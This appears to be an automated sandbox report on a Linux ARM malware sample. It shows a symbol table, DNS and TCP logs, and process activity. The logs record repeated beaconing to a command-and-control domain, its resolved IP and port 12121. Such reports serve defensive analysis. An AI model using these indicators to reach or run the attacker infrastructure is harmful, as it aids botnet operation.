                                                                                                                          __GI_memrchr.symtab0x1e174224FUNC<unknown>HIDDEN2
                                                                                                                          __GI_memset.symtab0x15f70156FUNC<unknown>HIDDEN2
                                                                                                                          __GI_mmap.symtab0x1ab80124FUNC<unknown>HIDDEN2
                                                                                                                          __GI_mremap.symtab0x1afe868FUNC<unknown>HIDDEN2
                                                                                                                          __GI_munmap.symtab0x1b02c64FUNC<unknown>HIDDEN2
                                                                                                                          __GI_nanosleep.symtab0x1b0ac96FUNC<unknown>HIDDEN2
                                                                                                                          __GI_open.symtab0x19ca0100FUNC<unknown>HIDDEN2
                                                                                                                          __GI_opendir.symtab0x130a8196FUNC<unknown>HIDDEN2
                                                                                                                          __GI_raise.symtab0x199cc240FUNC<unknown>HIDDEN2
                                                                                                                          __GI_random.symtab0x18380164FUNC<unknown>HIDDEN2
                                                                                                                          __GI_random_r.symtab0x18640144FUNC<unknown>HIDDEN2
                                                                                                                          __GI_read.symtab0x19d30100FUNC<unknown>HIDDEN2
                                                                                                                          __GI_readdir.symtab0x1321c232FUNC<unknown>HIDDEN2
                                                                                                                          __GI_readdir64.symtab0x1b3ec236FUNC<unknown>HIDDEN2
                                                                                                                          __GI_readlink.symtab0x12a3864FUNC<unknown>HIDDEN2
                                                                                                                          __GI_recv.symtab0x169c8112FUNC<unknown>HIDDEN2
                                                                                                                          __GI_recvfrom.symtab0x16a80136FUNC<unknown>HIDDEN2
                                                                                                                          __GI_remove.symtab0x136cc100FUNC<unknown>HIDDEN2
                                                                                                                          __GI_rmdir.symtab0x1b10c64FUNC<unknown>HIDDEN2
                                                                                                                          __GI_sbrk.symtab0x1b14c108FUNC<unknown>HIDDEN2
                                                                                                                          __GI_select.symtab0x12b2c132FUNC<unknown>HIDDEN2
                                                                                                                          __GI_send.symtab0x16b4c112FUNC<unknown>HIDDEN2
                                                                                                                          __GI_sendto.symtab0x16c08136FUNC<unknown>HIDDEN2
                                                                                                                          __GI_setsid.symtab0x12bb064FUNC<unknown>HIDDEN2
                                                                                                                          __GI_setsockopt.symtab0x16c9072FUNC<unknown>HIDDEN2
                                                                                                                          __GI_setstate_r.symtab0x188a0236FUNC<unknown>HIDDEN2
                                                                                                                          __GI_sigaction.symtab0x1ac28136FUNC<unknown>HIDDEN2
                                                                                                                          __GI_sigaddset.symtab0x16d1c80FUNC<unknown>HIDDEN2
                                                                                                                          __GI_sigemptyset.symtab0x16d6c20FUNC<unknown>HIDDEN2
                                                                                                                          __GI_signal.symtab0x16d80196FUNC<unknown>HIDDEN2
                                                                                                                          __GI_sigprocmask.symtab0x12bf0140FUNC<unknown>HIDDEN2
                                                                                                                          __GI_sleep.symtab0x19abc300FUNC<unknown>HIDDEN2
                                                                                                                          __GI_snprintf.symtab0x1373048FUNC<unknown>HIDDEN2
                                                                                                                          __GI_socket.symtab0x16cd868FUNC<unknown>HIDDEN2
                                                                                                                          __GI_srandom_r.symtab0x186d0216FUNC<unknown>HIDDEN2
                                                                                                                          __GI_sscanf.symtab0x1518c48FUNC<unknown>HIDDEN2
                                                                                                                          __GI_strcasestr.symtab0x165b8132FUNC<unknown>HIDDEN2
                                                                                                                          __GI_strcat.symtab0x1609040FUNC<unknown>HIDDEN2
                                                                                                                          __GI_strchr.symtab0x160b8240FUNC<unknown>HIDDEN2
                                                                                                                          __GI_strchrnul.symtab0x1e254236FUNC<unknown>HIDDEN2
                                                                                                                          __GI_strcmp.symtab0x1601028FUNC<unknown>HIDDEN2
                                                                                                                          __GI_strcoll.symtab0x1601028FUNC<unknown>HIDDEN2
                                                                                                                          __GI_strcpy.symtab0x161a836FUNC<unknown>HIDDEN2
                                                                                                                          __GI_strcspn.symtab0x161cc68FUNC<unknown>HIDDEN2
                                                                                                                          __GI_strlen.symtab0x1603096FUNC<unknown>HIDDEN2
                                                                                                                          __GI_strncpy.symtab0x16210188FUNC<unknown>HIDDEN2
                                                                                                                          __GI_strnlen.symtab0x162cc204FUNC<unknown>HIDDEN2
                                                                                                                          __GI_strrchr.symtab0x1e34080FUNC<unknown>HIDDEN2
                                                                                                                          __GI_strspn.symtab0x1e39076FUNC<unknown>HIDDEN2
                                                                                                                          __GI_strstr.symtab0x16398252FUNC<unknown>HIDDEN2
                                                                                                                          __GI_strtol.symtab0x189ac28FUNC<unknown>HIDDEN2
                                                                                                                          __GI_strtoul.symtab0x189c828FUNC<unknown>HIDDEN2
                                                                                                                          __GI_sysconf.symtab0x18eac1572FUNC<unknown>HIDDEN2
                                                                                                                          __GI_tcgetattr.symtab0x16660124FUNC<unknown>HIDDEN2
                                                                                                                          __GI_time.symtab0x12cbc48FUNC<unknown>HIDDEN2
                                                                                                                          __GI_times.symtab0x1b1b820FUNC<unknown>HIDDEN2
                                                                                                                          __GI_ungetc.symtab0x1f280480FUNC<unknown>HIDDEN2
                                                                                                                          __GI_unlink.symtab0x12d3464FUNC<unknown>HIDDEN2
                                                                                                                          __GI_vfscanf.symtab0x1c86c1896FUNC<unknown>HIDDEN2
                                                                                                                          __GI_vsnprintf.symtab0x13760208FUNC<unknown>HIDDEN2
                                                                                                                          __GI_vsscanf.symtab0x151bc168FUNC<unknown>HIDDEN2
                                                                                                                          __GI_wait4.symtab0x1b1cc56FUNC<unknown>HIDDEN2
                                                                                                                          __GI_waitpid.symtab0x12e4c124FUNC<unknown>HIDDEN2
                                                                                                                          __GI_wcrtomb.symtab0x1b87c84FUNC<unknown>HIDDEN2
                                                                                                                          __GI_wcsnrtombs.symtab0x1b8f4188FUNC<unknown>HIDDEN2
                                                                                                                          __GI_wcsrtombs.symtab0x1b8d036FUNC<unknown>HIDDEN2
                                                                                                                          __GI_write.symtab0x1eb00100FUNC<unknown>HIDDEN2
                                                                                                                          __JCR_END__.symtab0x2d00c0OBJECT<unknown>DEFAULT11
                                                                                                                          __JCR_LIST__.symtab0x2d00c0OBJECT<unknown>DEFAULT11
                                                                                                                          ___Unwind_ForcedUnwind.symtab0x20d1036FUNC<unknown>HIDDEN2
                                                                                                                          ___Unwind_RaiseException.symtab0x20ca436FUNC<unknown>HIDDEN2
                                                                                                                          ___Unwind_Resume.symtab0x20cc836FUNC<unknown>HIDDEN2
                                                                                                                          ___Unwind_Resume_or_Rethrow.symtab0x20cec36FUNC<unknown>HIDDEN2
                                                                                                                          __adddf3.symtab0x1f4dc784FUNC<unknown>HIDDEN2
                                                                                                                          __aeabi_cdcmpeq.symtab0x1fe3824FUNC<unknown>HIDDEN2
                                                                                                                          __aeabi_cdcmple.symtab0x1fe3824FUNC<unknown>HIDDEN2
                                                                                                                          __aeabi_cdrcmple.symtab0x1fe1c52FUNC<unknown>HIDDEN2
                                                                                                                          __aeabi_d2f.symtab0x1ff1c160FUNC<unknown>HIDDEN2
                                                                                                                          __aeabi_d2uiz.symtab0x1fec884FUNC<unknown>HIDDEN2
                                                                                                                          __aeabi_dadd.symtab0x1f4dc784FUNC<unknown>HIDDEN2
                                                                                                                          __aeabi_dcmpeq.symtab0x1fe5024FUNC<unknown>HIDDEN2
                                                                                                                          __aeabi_dcmpge.symtab0x1fe9824FUNC<unknown>HIDDEN2
                                                                                                                          __aeabi_dcmpgt.symtab0x1feb024FUNC<unknown>HIDDEN2
                                                                                                                          __aeabi_dcmple.symtab0x1fe8024FUNC<unknown>HIDDEN2
                                                                                                                          __aeabi_dcmplt.symtab0x1fe6824FUNC<unknown>HIDDEN2
                                                                                                                          __aeabi_ddiv.symtab0x1fb7c524FUNC<unknown>HIDDEN2
                                                                                                                          __aeabi_dmul.symtab0x1f8ec656FUNC<unknown>HIDDEN2
                                                                                                                          __aeabi_drsub.symtab0x1f4d00FUNC<unknown>HIDDEN2
                                                                                                                          __aeabi_dsub.symtab0x1f4d8788FUNC<unknown>HIDDEN2
                                                                                                                          __aeabi_f2d.symtab0x1f83864FUNC<unknown>HIDDEN2
                                                                                                                          __aeabi_i2d.symtab0x1f81040FUNC<unknown>HIDDEN2
                                                                                                                          __aeabi_idiv.symtab0x123e40FUNC<unknown>HIDDEN2
                                                                                                                          __aeabi_idivmod.symtab0x1251024FUNC<unknown>HIDDEN2
                                                                                                                          __aeabi_l2d.symtab0x1f88c96FUNC<unknown>HIDDEN2
                                                                                                                          __aeabi_read_tp.symtab0x1acd08FUNC<unknown>DEFAULT2
                                                                                                                          __aeabi_ui2d.symtab0x1f7ec36FUNC<unknown>HIDDEN2
                                                                                                                          __aeabi_uidiv.symtab0x122d00FUNC<unknown>HIDDEN2
                                                                                                                          __aeabi_uidivmod.symtab0x123cc24FUNC<unknown>HIDDEN2
                                                                                                                          __aeabi_ul2d.symtab0x1f878116FUNC<unknown>HIDDEN2
                                                                                                                          __aeabi_unwind_cpp_pr0.symtab0x20c708FUNC<unknown>HIDDEN2
                                                                                                                          __aeabi_unwind_cpp_pr1.symtab0x20c688FUNC<unknown>HIDDEN2
                                                                                                                          __aeabi_unwind_cpp_pr2.symtab0x20c608FUNC<unknown>HIDDEN2
                                                                                                                          __app_fini.symtab0x2fa004OBJECT<unknown>HIDDEN14
                                                                                                                          __atexit_lock.symtab0x2d3c824OBJECT<unknown>DEFAULT13
                                                                                                                          __bss_end__.symtab0x385280NOTYPE<unknown>DEFAULTSHN_ABS
                                                                                                                          __bss_start.symtab0x2d3f40NOTYPE<unknown>DEFAULTSHN_ABS
                                                                                                                          __bss_start__.symtab0x2d3f40NOTYPE<unknown>DEFAULTSHN_ABS
                                                                                                                          __check_one_fd.symtab0x19fc484FUNC<unknown>DEFAULT2
                                                                                                                          __close.symtab0x19c10100FUNC<unknown>DEFAULT2
                                                                                                                          __close_nocancel.symtab0x19bf424FUNC<unknown>DEFAULT2
                                                                                                                          __cmpdf2.symtab0x1fd98132FUNC<unknown>HIDDEN2
                                                                                                                          __ctype_b.symtab0x2d1fc4OBJECT<unknown>DEFAULT13
                                                                                                                          __ctype_tolower.symtab0x2d3f04OBJECT<unknown>DEFAULT13
                                                                                                                          __curbrk.symtab0x2ff744OBJECT<unknown>HIDDEN14
                                                                                                                          __cxa_begin_cleanup.symtab0x00NOTYPE<unknown>DEFAULTSHN_UNDEF
                                                                                                                          __cxa_call_unexpected.symtab0x00NOTYPE<unknown>DEFAULTSHN_UNDEF
                                                                                                                          __cxa_type_match.symtab0x00NOTYPE<unknown>DEFAULTSHN_UNDEF
                                                                                                                          __data_start.symtab0x2d0b80NOTYPE<unknown>DEFAULT13
                                                                                                                          __default_rt_sa_restorer.symtab0x1acc80FUNC<unknown>DEFAULT2
                                                                                                                          __default_sa_restorer.symtab0x1acbc0FUNC<unknown>DEFAULT2
                                                                                                                          __deregister_frame_info.symtab0x00NOTYPE<unknown>DEFAULTSHN_UNDEF
                                                                                                                          __div0.symtab0x1252820FUNC<unknown>HIDDEN2
                                                                                                                          __divdf3.symtab0x1fb7c524FUNC<unknown>HIDDEN2
                                                                                                                          __divsi3.symtab0x123e4300FUNC<unknown>HIDDEN2
                                                                                                                          __do_global_dtors_aux.symtab0x80f00FUNC<unknown>DEFAULT2
                                                                                                                          __do_global_dtors_aux_fini_array_entry.symtab0x2d0080OBJECT<unknown>DEFAULT10
                                                                                                                          __end__.symtab0x385280NOTYPE<unknown>DEFAULTSHN_ABS
                                                                                                                          __environ.symtab0x2f9f84OBJECT<unknown>DEFAULT14
                                                                                                                          __eqdf2.symtab0x1fd98132FUNC<unknown>HIDDEN2
                                                                                                                          __errno_location.symtab0x1330432FUNC<unknown>DEFAULT2
                                                                                                                          __errno_location.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                                                                                                                          __exidx_end.symtab0x24af40NOTYPE<unknown>DEFAULTSHN_ABS
                                                                                                                          __exidx_start.symtab0x249cc0NOTYPE<unknown>DEFAULTSHN_ABS
                                                                                                                          __exit_cleanup.symtab0x2f4a84OBJECT<unknown>HIDDEN14
                                                                                                                          __extendsfdf2.symtab0x1f83864FUNC<unknown>HIDDEN2
                                                                                                                          __fcntl_nocancel.symtab0x1253c152FUNC<unknown>DEFAULT2
                                                                                                                          __fgetc_unlocked.symtab0x1da9c300FUNC<unknown>DEFAULT2
                                                                                                                          __fini_array_end.symtab0x2d00c0NOTYPE<unknown>HIDDEN10
                                                                                                                          __fini_array_start.symtab0x2d0080NOTYPE<unknown>HIDDEN10
                                                                                                                          __fixunsdfsi.symtab0x1fec884FUNC<unknown>HIDDEN2
                                                                                                                          __floatdidf.symtab0x1f88c96FUNC<unknown>HIDDEN2
                                                                                                                          __floatsidf.symtab0x1f81040FUNC<unknown>HIDDEN2
                                                                                                                          __floatundidf.symtab0x1f878116FUNC<unknown>HIDDEN2
                                                                                                                          __floatunsidf.symtab0x1f7ec36FUNC<unknown>HIDDEN2
                                                                                                                          __fork.symtab0x19520972FUNC<unknown>DEFAULT2
                                                                                                                          __fork_generation_pointer.symtab0x384f44OBJECT<unknown>HIDDEN14
                                                                                                                          __fork_handlers.symtab0x384f84OBJECT<unknown>HIDDEN14
                                                                                                                          __fork_lock.symtab0x2f4ac4OBJECT<unknown>HIDDEN14
                                                                                                                          __frame_dummy_init_array_entry.symtab0x2d0040OBJECT<unknown>DEFAULT9
                                                                                                                          __gedf2.symtab0x1fd88148FUNC<unknown>HIDDEN2
                                                                                                                          __getdents.symtab0x1ae2c160FUNC<unknown>HIDDEN2
                                                                                                                          __getdents64.symtab0x1efa4328FUNC<unknown>HIDDEN2
                                                                                                                          __getpagesize.symtab0x1af3440FUNC<unknown>DEFAULT2
                                                                                                                          __getpid.symtab0x1998472FUNC<unknown>DEFAULT2
                                                                                                                          __glibc_strerror_r.symtab0x1649424FUNC<unknown>DEFAULT2
                                                                                                                          __glibc_strerror_r.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                                                                                                                          __gnu_Unwind_Find_exidx.symtab0x00NOTYPE<unknown>DEFAULTSHN_UNDEF
                                                                                                                          __gnu_Unwind_ForcedUnwind.symtab0x2041428FUNC<unknown>HIDDEN2
                                                                                                                          __gnu_Unwind_RaiseException.symtab0x204fc184FUNC<unknown>HIDDEN2
                                                                                                                          __gnu_Unwind_Restore_VFP.symtab0x20c940FUNC<unknown>HIDDEN2
                                                                                                                          __gnu_Unwind_Resume.symtab0x20490108FUNC<unknown>HIDDEN2
                                                                                                                          __gnu_Unwind_Resume_or_Rethrow.symtab0x205b432FUNC<unknown>HIDDEN2
                                                                                                                          __gnu_Unwind_Save_VFP.symtab0x20c9c0FUNC<unknown>HIDDEN2
                                                                                                                          __gnu_unwind_execute.symtab0x20d781812FUNC<unknown>HIDDEN2
                                                                                                                          __gnu_unwind_frame.symtab0x2148c72FUNC<unknown>HIDDEN2
                                                                                                                          __gnu_unwind_pr_common.symtab0x207181352FUNC<unknown>DEFAULT2
                                                                                                                          __gtdf2.symtab0x1fd88148FUNC<unknown>HIDDEN2
                                                                                                                          __h_errno_location.symtab0x00NOTYPE<unknown>DEFAULTSHN_UNDEF
                                                                                                                          __init_array_end.symtab0x2d0080NOTYPE<unknown>HIDDEN9
                                                                                                                          __init_array_start.symtab0x2d0040NOTYPE<unknown>HIDDEN9
                                                                                                                          __init_scan_cookie.symtab0x1cff0108FUNC<unknown>HIDDEN2
                                                                                                                          __ledf2.symtab0x1fd90140FUNC<unknown>HIDDEN2
                                                                                                                          __libc_accept.symtab0x16748116FUNC<unknown>DEFAULT2
                                                                                                                          __libc_close.symtab0x19c10100FUNC<unknown>DEFAULT2
                                                                                                                          __libc_connect.symtab0x16844116FUNC<unknown>DEFAULT2
                                                                                                                          __libc_disable_asynccancel.symtab0x19da0136FUNC<unknown>HIDDEN2
                                                                                                                          __libc_enable_asynccancel.symtab0x19e28220FUNC<unknown>HIDDEN2
                                                                                                                          __libc_errno.symtab0x04TLS<unknown>HIDDEN8
                                                                                                                          __libc_fcntl.symtab0x125d4244FUNC<unknown>DEFAULT2
                                                                                                                          __libc_fork.symtab0x19520972FUNC<unknown>DEFAULT2
                                                                                                                          __libc_h_errno.symtab0x44TLS<unknown>HIDDEN8
                                                                                                                          __libc_multiple_threads.symtab0x384fc4OBJECT<unknown>HIDDEN14
                                                                                                                          __libc_nanosleep.symtab0x1b0ac96FUNC<unknown>DEFAULT2
                                                                                                                          __libc_open.symtab0x19ca0100FUNC<unknown>DEFAULT2
                                                                                                                          __libc_read.symtab0x19d30100FUNC<unknown>DEFAULT2
                                                                                                                          __libc_recv.symtab0x169c8112FUNC<unknown>DEFAULT2
                                                                                                                          __libc_recvfrom.symtab0x16a80136FUNC<unknown>DEFAULT2
                                                                                                                          __libc_select.symtab0x12b2c132FUNC<unknown>DEFAULT2
                                                                                                                          __libc_send.symtab0x16b4c112FUNC<unknown>DEFAULT2
                                                                                                                          __libc_sendto.symtab0x16c08136FUNC<unknown>DEFAULT2
                                                                                                                          __libc_setup_tls.symtab0x1ec74560FUNC<unknown>DEFAULT2
                                                                                                                          __libc_sigaction.symtab0x1ac28136FUNC<unknown>DEFAULT2
                                                                                                                          __libc_stack_end.symtab0x2f9f44OBJECT<unknown>DEFAULT14
                                                                                                                          __libc_system.symtab0x1aafc132FUNC<unknown>DEFAULT2
                                                                                                                          __libc_wait.symtab0x12d74216FUNC<unknown>HIDDEN2
                                                                                                                          __libc_waitpid.symtab0x12e4c124FUNC<unknown>DEFAULT2
                                                                                                                          __libc_write.symtab0x1eb00100FUNC<unknown>DEFAULT2
                                                                                                                          __lll_lock_wait_private.symtab0x198ec152FUNC<unknown>HIDDEN2
                                                                                                                          __ltdf2.symtab0x1fd90140FUNC<unknown>HIDDEN2
                                                                                                                          __malloc_consolidate.symtab0x17e10436FUNC<unknown>HIDDEN2
                                                                                                                          __malloc_largebin_index.symtab0x16eb0120FUNC<unknown>DEFAULT2
                                                                                                                          __malloc_lock.symtab0x2d2ec24OBJECT<unknown>DEFAULT13
                                                                                                                          __malloc_state.symtab0x3817c888OBJECT<unknown>DEFAULT14
                                                                                                                          __malloc_trim.symtab0x17d60176FUNC<unknown>DEFAULT2
                                                                                                                          __muldf3.symtab0x1f8ec656FUNC<unknown>HIDDEN2
                                                                                                                          __nedf2.symtab0x1fd98132FUNC<unknown>HIDDEN2
                                                                                                                          __nptl_deallocate_tsd.symtab0x00NOTYPE<unknown>DEFAULTSHN_UNDEF
                                                                                                                          __nptl_nthreads.symtab0x00NOTYPE<unknown>DEFAULTSHN_UNDEF
                                                                                                                          __open.symtab0x19ca0100FUNC<unknown>DEFAULT2
                                                                                                                          __open_nocancel.symtab0x19c8424FUNC<unknown>DEFAULT2
                                                                                                                          __pagesize.symtab0x2f9fc4OBJECT<unknown>DEFAULT14
                                                                                                                          __preinit_array_end.symtab0x2d0040NOTYPE<unknown>HIDDEN8
                                                                                                                          __preinit_array_start.symtab0x2d0040NOTYPE<unknown>HIDDEN8
                                                                                                                          __progname.symtab0x2d3e44OBJECT<unknown>DEFAULT13
                                                                                                                          __progname_full.symtab0x2d3e84OBJECT<unknown>DEFAULT13
                                                                                                                          __psfs_do_numeric.symtab0x1d3e81392FUNC<unknown>HIDDEN2
                                                                                                                          __psfs_do_numeric.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                                                                                                                          __psfs_parse_spec.symtab0x1d124708FUNC<unknown>HIDDEN2
                                                                                                                          __psfs_parse_spec.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                                                                                                                          __pthread_initialize_minimal.symtab0x1eea412FUNC<unknown>DEFAULT2
                                                                                                                          __pthread_mutex_init.symtab0x19f0c8FUNC<unknown>DEFAULT2
                                                                                                                          __pthread_mutex_lock.symtab0x19f048FUNC<unknown>DEFAULT2
                                                                                                                          __pthread_mutex_trylock.symtab0x19f048FUNC<unknown>DEFAULT2
                                                                                                                          __pthread_mutex_unlock.symtab0x19f048FUNC<unknown>DEFAULT2
                                                                                                                          __pthread_return_0.symtab0x19f048FUNC<unknown>DEFAULT2
                                                                                                                          __pthread_unwind.symtab0x00NOTYPE<unknown>DEFAULTSHN_UNDEF
                                                                                                                          __read.symtab0x19d30100FUNC<unknown>DEFAULT2
                                                                                                                          __read_nocancel.symtab0x19d1424FUNC<unknown>DEFAULT2
                                                                                                                          __register_frame_info.symtab0x00NOTYPE<unknown>DEFAULTSHN_UNDEF
                                                                                                                          __restore_core_regs.symtab0x20c7828FUNC<unknown>HIDDEN2
                                                                                                                          __rtld_fini.symtab0x2fa044OBJECT<unknown>HIDDEN14
                                                                                                                          __scan_cookie.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                                                                                                                          __scan_getc.symtab0x1d05c132FUNC<unknown>HIDDEN2
                                                                                                                          __scan_ungetc.symtab0x1d0e068FUNC<unknown>HIDDEN2
                                                                                                                          __sigaddset.symtab0x16e6836FUNC<unknown>DEFAULT2
                                                                                                                          __sigdelset.symtab0x16e8c36FUNC<unknown>DEFAULT2
                                                                                                                          __sigismember.symtab0x16e4436FUNC<unknown>DEFAULT2
                                                                                                                          __sigjmp_save.symtab0x1f49064FUNC<unknown>HIDDEN2
                                                                                                                          __sigsetjmp.symtab0x1ef9812FUNC<unknown>DEFAULT2
                                                                                                                          __stdin.symtab0x2d2104OBJECT<unknown>DEFAULT13
                                                                                                                          __stdio_READ.symtab0x1b9b088FUNC<unknown>HIDDEN2
                                                                                                                          __stdio_WRITE.symtab0x1ba08220FUNC<unknown>HIDDEN2
                                                                                                                          __stdio_adjust_position.symtab0x139f0200FUNC<unknown>HIDDEN2
                                                                                                                          __stdio_fwrite.symtab0x1bae4320FUNC<unknown>HIDDEN2
                                                                                                                          __stdio_rfill.symtab0x1f46048FUNC<unknown>HIDDEN2
                                                                                                                          __stdio_seek.symtab0x1412c60FUNC<unknown>HIDDEN2
                                                                                                                          __stdio_trans2r_o.symtab0x1bc24164FUNC<unknown>HIDDEN2
                                                                                                                          __stdio_trans2w_o.symtab0x1bcc8220FUNC<unknown>HIDDEN2
                                                                                                                          __stdio_wcommit.symtab0x140fc48FUNC<unknown>HIDDEN2
                                                                                                                          __stdout.symtab0x2d2144OBJECT<unknown>DEFAULT13
                                                                                                                          __strtofpmax.symtab0x1e72c940FUNC<unknown>HIDDEN2
                                                                                                                          __strtofpmax.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                                                                                                                          __subdf3.symtab0x1f4d8788FUNC<unknown>HIDDEN2
                                                                                                                          __sys_accept.symtab0x1670468FUNC<unknown>DEFAULT2
                                                                                                                          __sys_connect.symtab0x1680068FUNC<unknown>DEFAULT2
                                                                                                                          __sys_recv.symtab0x1698468FUNC<unknown>DEFAULT2
                                                                                                                          __sys_recvfrom.symtab0x16a3872FUNC<unknown>DEFAULT2
                                                                                                                          __sys_send.symtab0x16b0868FUNC<unknown>DEFAULT2
                                                                                                                          __sys_sendto.symtab0x16bbc76FUNC<unknown>DEFAULT2
                                                                                                                          __syscall_error.symtab0x1abfc44FUNC<unknown>HIDDEN2
                                                                                                                          __syscall_error.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                                                                                                                          __syscall_fcntl.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                                                                                                                          __syscall_nanosleep.symtab0x1b06c64FUNC<unknown>DEFAULT2
                                                                                                                          __syscall_rt_sigaction.symtab0x1ace064FUNC<unknown>DEFAULT2
                                                                                                                          __syscall_rt_sigaction.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                                                                                                                          __syscall_select.symtab0x12ae868FUNC<unknown>DEFAULT2
                                                                                                                          __tls_get_addr.symtab0x1ec5036FUNC<unknown>DEFAULT2
                                                                                                                          __truncdfsf2.symtab0x1ff1c160FUNC<unknown>HIDDEN2
                                                                                                                          __uClibc_fini.symtab0x19f48124FUNC<unknown>DEFAULT2
                                                                                                                          TimestampSource PortDest PortSource IPDest IP
                                                                                                                          Jul 6, 2025 08:05:54.423140049 CEST4433360654.171.230.55192.168.2.23
                                                                                                                          Jul 6, 2025 08:05:54.426728964 CEST4433360654.171.230.55192.168.2.23
                                                                                                                          Jul 6, 2025 08:05:54.426740885 CEST4433360654.171.230.55192.168.2.23
                                                                                                                          Jul 6, 2025 08:05:54.426821947 CEST33606443192.168.2.2354.171.230.55
                                                                                                                          Jul 6, 2025 08:05:54.426821947 CEST33606443192.168.2.2354.171.230.55
                                                                                                                          Jul 6, 2025 08:05:56.334939957 CEST43928443192.168.2.2391.189.91.42
                                                                                                                          Jul 6, 2025 08:06:01.712522984 CEST42836443192.168.2.2391.189.91.43
                                                                                                                          Jul 6, 2025 08:06:03.245866060 CEST4251680192.168.2.23109.202.202.202
                                                                                                                          Jul 6, 2025 08:06:04.561876059 CEST5909212121192.168.2.23194.110.247.14
                                                                                                                          Jul 6, 2025 08:06:04.771264076 CEST1212159092194.110.247.14192.168.2.23
                                                                                                                          Jul 6, 2025 08:06:15.792218924 CEST5909412121192.168.2.23194.110.247.14
                                                                                                                          Jul 6, 2025 08:06:16.002135038 CEST1212159094194.110.247.14192.168.2.23
                                                                                                                          Jul 6, 2025 08:06:16.811975956 CEST43928443192.168.2.2391.189.91.42
                                                                                                                          Jul 6, 2025 08:06:29.098597050 CEST42836443192.168.2.2391.189.91.43
                                                                                                                          Jul 6, 2025 08:06:33.193749905 CEST4251680192.168.2.23109.202.202.202
                                                                                                                          Jul 6, 2025 08:06:36.378952026 CEST5909612121192.168.2.23194.110.247.14
                                                                                                                          Jul 6, 2025 08:06:36.588574886 CEST1212159096194.110.247.14192.168.2.23
                                                                                                                          Jul 6, 2025 08:06:57.766320944 CEST43928443192.168.2.2391.189.91.42
                                                                                                                          Jul 6, 2025 08:07:16.879220963 CEST5909812121192.168.2.23194.110.247.14
                                                                                                                          Jul 6, 2025 08:07:17.089962959 CEST1212159098194.110.247.14192.168.2.23
                                                                                                                          Jul 6, 2025 08:08:17.366621017 CEST5910012121192.168.2.23194.110.247.14
                                                                                                                          Jul 6, 2025 08:08:17.575548887 CEST1212159100194.110.247.14192.168.2.23
                                                                                                                          TimestampSource PortDest PortSource IPDest IP
                                                                                                                          Jul 6, 2025 08:06:04.463505030 CEST3434253192.168.2.238.8.8.8
                                                                                                                          Jul 6, 2025 08:06:04.560508013 CEST53343428.8.8.8192.168.2.23
                                                                                                                          Jul 6, 2025 08:06:15.695214987 CEST5314053192.168.2.238.8.8.8
                                                                                                                          Jul 6, 2025 08:06:15.791404963 CEST53531408.8.8.8192.168.2.23
                                                                                                                          Jul 6, 2025 08:06:36.219126940 CEST5261553192.168.2.238.8.8.8
                                                                                                                          Jul 6, 2025 08:06:36.378436089 CEST53526158.8.8.8192.168.2.23
                                                                                                                          Jul 6, 2025 08:07:16.779350042 CEST5144253192.168.2.238.8.8.8
                                                                                                                          Jul 6, 2025 08:07:16.878635883 CEST53514428.8.8.8192.168.2.23
                                                                                                                          Jul 6, 2025 08:08:17.267226934 CEST3427153192.168.2.238.8.8.8
                                                                                                                          Jul 6, 2025 08:08:17.365796089 CEST53342718.8.8.8192.168.2.23
                                                                                                                          TimestampSource IPDest IPChecksumCodeType
                                                                                                                          Jul 6, 2025 08:06:05.026041031 CEST192.168.2.23192.168.2.18283(Port unreachable)Destination Unreachable
                                                                                                                          Jul 6, 2025 08:07:25.037615061 CEST192.168.2.23192.168.2.18283(Port unreachable)Destination Unreachable
                                                                                                                          TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                                                          Jul 6, 2025 08:06:04.463505030 CEST192.168.2.238.8.8.80x46fbStandard query (0)cnc.jssaytcp.latA (IP address)IN (0x0001)false
                                                                                                                          Jul 6, 2025 08:06:15.695214987 CEST192.168.2.238.8.8.80x7e46Standard query (0)cnc.jssaytcp.latA (IP address)IN (0x0001)false
                                                                                                                          Jul 6, 2025 08:06:36.219126940 CEST192.168.2.238.8.8.80x1cebStandard query (0)cnc.jssaytcp.latA (IP address)IN (0x0001)false
                                                                                                                          Jul 6, 2025 08:07:16.779350042 CEST192.168.2.238.8.8.80x5121Standard query (0)cnc.jssaytcp.latA (IP address)IN (0x0001)false
                                                                                                                          Jul 6, 2025 08:08:17.267226934 CEST192.168.2.238.8.8.80x6526Standard query (0)cnc.jssaytcp.latA (IP address)IN (0x0001)false
                                                                                                                          TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                                                          Jul 6, 2025 08:06:04.560508013 CEST8.8.8.8192.168.2.230x46fbNo error (0)cnc.jssaytcp.lat194.110.247.14A (IP address)IN (0x0001)false
                                                                                                                          Jul 6, 2025 08:06:15.791404963 CEST8.8.8.8192.168.2.230x7e46No error (0)cnc.jssaytcp.lat194.110.247.14A (IP address)IN (0x0001)false
                                                                                                                          Jul 6, 2025 08:06:36.378436089 CEST8.8.8.8192.168.2.230x1cebNo error (0)cnc.jssaytcp.lat194.110.247.14A (IP address)IN (0x0001)false
                                                                                                                          Jul 6, 2025 08:07:16.878635883 CEST8.8.8.8192.168.2.230x5121No error (0)cnc.jssaytcp.lat194.110.247.14A (IP address)IN (0x0001)false
                                                                                                                          Jul 6, 2025 08:08:17.365796089 CEST8.8.8.8192.168.2.230x6526No error (0)cnc.jssaytcp.lat194.110.247.14A (IP address)IN (0x0001)false

                                                                                                                          System Behavior

                                                                                                                          Start time (UTC):06:05:53
                                                                                                                          Start date (UTC):06/07/2025
                                                                                                                          Path:/usr/bin/dash
                                                                                                                          Arguments:-
                                                                                                                          File size:129816 bytes
                                                                                                                          MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                                                                                          Start time (UTC):06:05:53
                                                                                                                          Start date (UTC):06/07/2025
                                                                                                                          Path:/usr/bin/rm
                                                                                                                          Arguments:rm -f /tmp/tmp.CIw4YOWu6Q /tmp/tmp.tSe1PMu2if /tmp/tmp.cmLCWddT0v
                                                                                                                          File size:72056 bytes
                                                                                                                          MD5 hash:aa2b5496fdbfd88e38791ab81f90b95b

                                                                                                                          Start time (UTC):06:05:53
